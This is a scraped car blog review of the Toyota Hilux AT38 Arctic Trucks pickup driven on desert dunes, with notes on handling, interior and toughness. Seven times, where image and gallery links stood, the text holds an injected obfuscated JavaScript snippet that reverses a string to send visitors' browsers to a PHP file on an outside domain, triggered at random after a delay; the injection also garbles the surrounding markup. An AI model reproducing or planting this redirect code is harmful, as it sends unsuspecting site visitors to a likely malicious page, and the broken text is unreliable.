Toyota Hilux AT38. Sub Zero In High Forties

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/IMG_1632.jpg” alt=”” width=”728″ height=”728″ />

Fortunately, fate plays ball and we complete the descent unmolested albeit for a plume of sand that billows over the bonnet as the front bumper grounds itself on the dip at the bottom. I don’t mind admitting that my eyes are a bit wider now, but I can’t say the same for Ingrid. The hefty tyres dug in only so far and while the suspension flexed, there was still plenty more to play with. Throw in good weight distribution and a surprisingly low centre of gravity (for a 4×4 at least) and it turns out the Hilux’s limit is far greater than I care to push.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/IMG_1677.jpg” alt=”” width=”728″ height=”485″ />

Through reasons completely and in no way related to our near miss, the convoy decides to pull up for a few minutes, much to the delight of James who’s just stumbled across a backdrop he can play with. The next few minutes are spent snapping the Hilux in action on the dunes, which gives me ample time to consider the interior.

Whether you spend time admiring the fire extinguisher in the passenger footwell or the cavernous holes cut into the dashboard where BBC camera equipment has previously been mounted, it shouldn’t take too long to notice the absence of creature comforts. Good supportive seats, good stereo system and a large amount of headroom are all well and good, but out here and in this terrain, everything – but everything – is covered in sand, and this likely to be ruined in a matter of moments. This 4×4 then has been principally designed for one thing, namely survival. During our fairly raucous time on the dunes we have suffered no technical failures, no broken components and heard no sounds of metal grinding on metal. It’s a tough little brute to say the least.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/IMG_1512.jpg” alt=”” width=”728″ height=”485″ />

After an hour of playing though, Ingrid is beginning to get the hump (“she doesn’t like the heat”). The air conditioning is starting to pack up despite our collective attempts to fire it back into life, and a thin layer of condensation is beginning to form on the windscreen. Since our time is pretty much up, we begin our dart back to the road, and civilization.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/Toyota-Hilux-10.jpg” alt=”” width=”728″ height=”486″ />

This Arctic Truck Hilux is a model that, more than likely, will never see the production line. Nor for that matter would a 4×4 set-up for arctic conditions necessarily be your first choice of vehicle for bashing the dunes: it’s beefy and strong enough certainly, but lacks a bit of power and has an enormous range of rivals throughout the industry.

But then that’s not the point. Today we’ve been introduced to the Toyota Hilux AT38 that’s conquered both the Arctic Circle, volcanic terrain, and has endured 50-degree temperatures in Dubai’s desert plains. All for the sake of entertainment. It’s difficult to see how much tougher a 4×4 can get.

– Shots courtesy of James Davison. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/arctic-trucks-toyota-hilux/” target=”_blank”>our full gallery HERE.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/wallpaper/toyota-hilux-at38-set/” target=”_blank”>Awesome selection of WALLPAPERS available here – CLICK